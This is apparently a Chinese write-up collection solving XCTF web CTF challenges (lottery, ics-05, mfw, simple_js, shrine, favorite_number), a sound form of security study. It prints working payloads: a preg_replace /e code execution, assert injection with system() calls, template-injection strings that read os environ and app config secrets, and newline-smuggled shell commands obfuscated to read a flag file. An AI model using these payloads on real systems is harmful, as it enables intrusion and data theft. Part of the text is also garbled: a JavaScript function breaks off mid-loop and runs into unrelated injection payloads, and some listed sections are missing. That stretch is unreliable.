- 0099 lottery
- 0332 ics-05
- 0415 mfw
- 0480 simple_js
- 0723 easytornado
- 0724 shrine
- 0726 fakebook
- 0735 favorite_number
我之前向平台反馈的放在系数1的very_easy_sql被调到了系数3,wp我就懒得搬过来了,想看的可以去看更新的web系数1的part2部分。
0099 lottery题目:XCTF 4th-QCTF-2018 解答:访问robots.txt,发现git源码泄露。
用githack跑一下,获取源码。题目也给了附件,我没有再下,应该是源码。
注册登录,给了20,flag需要9990000。
buy页面是输入彩票号码。
游戏规则是:
在api.php中发现是获取随机数。
在buy方法中发现,每个数字都是弱比较。可以用true绕过判断。
burp抓包,将随机填入的数字改为[true,true,true,true,true,true,true],一直赌,直到最后达到flag 的钱。
最后就去买flag啦~
题目:XCTF-4th-CyberEarth 其他破坏者会利用工控云管理系统设备维护中心的后门入侵系统
解答:设备维护中心可以打开。 在界面能点的地方又点了点,点击“云平台设备维护中心”出现?page=index
,存在文件包含。
尝试一下:?page=php://filter/read=convert.base64-encode/resource=index.php
出现index.php源码。
查看源码,发现注入点。preg_replace这里可以自己输入正则匹配,那么就可以利用/e来执行php语句了。
/e
修正符使 preg_replace() 将 replacement 参数当作 PHP 代码。
首先设置X_FORWARDED_FOR
为127.0.0.1。然后开始传参: ?pat=/test/e&rep=system("find / -name flag")&sub=test
获取flag:?pat=/test/e&rep=system('tac s3chahahaDir/flag/flag.php')&sub=test
题目:csaw-ctf-2016-quals 解答:git源码泄露,发现flag.php也在templates目录下。 查看一下index.php源码,输入的内容是直接拼接到路径的。
assert中都是用单引号拼接的代码,所以前后用单引号闭合语句,然后把要执行的代码放在中间,用点连接就可以。(用点连接是必须的哟,因为拼接所以才能执行代码~) 其中的逻辑就是,先执行代码,然后代码执行返回的结果会拼接到字符串中,作为strpos的参数。 (这里不确定的话,可以本地看一下传递进去的内容,如下图先执行了system,然后再执行var_dump)
payload:?page='.system("cat ./templates/flag.php").'
可以看到,执行了两次输出,因为两个assert都执行了。
解答:打开就让输入密码,直接ctrl+u查看一下源码:
这里可以先不看逻辑,直接把那些数据输出一下,看不能直接获取flag。放到控制台就可以获取内容。
ascii转字符:786OsErtk12,flag就是这个:cyberpeace{786OsErtk12}
最后再来顺一下代码的逻辑,代码很繁琐,把其中的内容整理一下: 可以看到无论输入什么内容,结果都是一样的,输入内容并不影响,所以真正的pass是后面的数据。
function dechiffre(){ var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65"; var tab2 = pass.split(','); var i,n,p = ""; n = tab2.length; for(i = 0; i {2*6}}测试返回ORZ,测试一下{{9}},返回9,存在模板注入。但应该是过滤了算术运算。{handler.settings}}{% set {}=None%}}'{7+7}}{% set config=None%}}{{% set self=None%}}{{7+7}}{config}}{self.__dict__}}{[].__class__.__base__.__subclasses__()[68].__init__.__globals__['os'].__dict__.environ['FLAG]}}{url_for.__globals__['current_app'].config['FLAG']}}[1]
。这里我也本地测试了一下。![]()
(如果是php7的话,9223372036854775807是临界值,
[18446744073709551614]->[0]
,但是[1]就不是直接加1了,后面的数据就不太对应了,增加一定数值后返回的都还是[0],变化的跨度也有点奇怪,其中的逻辑有时间再研究吧。)那么第一个if条件就可以绕过了:
stuff[4294967296]=admin&stuff[1]=user
第二个if条件要求输入的内容是数字,由于正则匹配中
^abc$
只匹配单行,所以可以用%0a换行绕过。第三个if条件,暂且不提,先开始执行命令:
stuff[4294967296]=admin&stuff[1]=user&num=123%0als -i /
这里抓包吧,我用hackbar,把%0a又给编码了,导致不出结果了。我们要获取flag。这里再继续看第三个if条件:读取命令有很多,很好绕过,用tac就可以。 flag模糊匹配不行了,但可以字符拼接,
aa=ag;b=/fl;tac $b$a
。payload:
stuff[4294967296]=admin&stuff[1]=user&num=123%0aa=ag;b=/fl;tac%20$b$a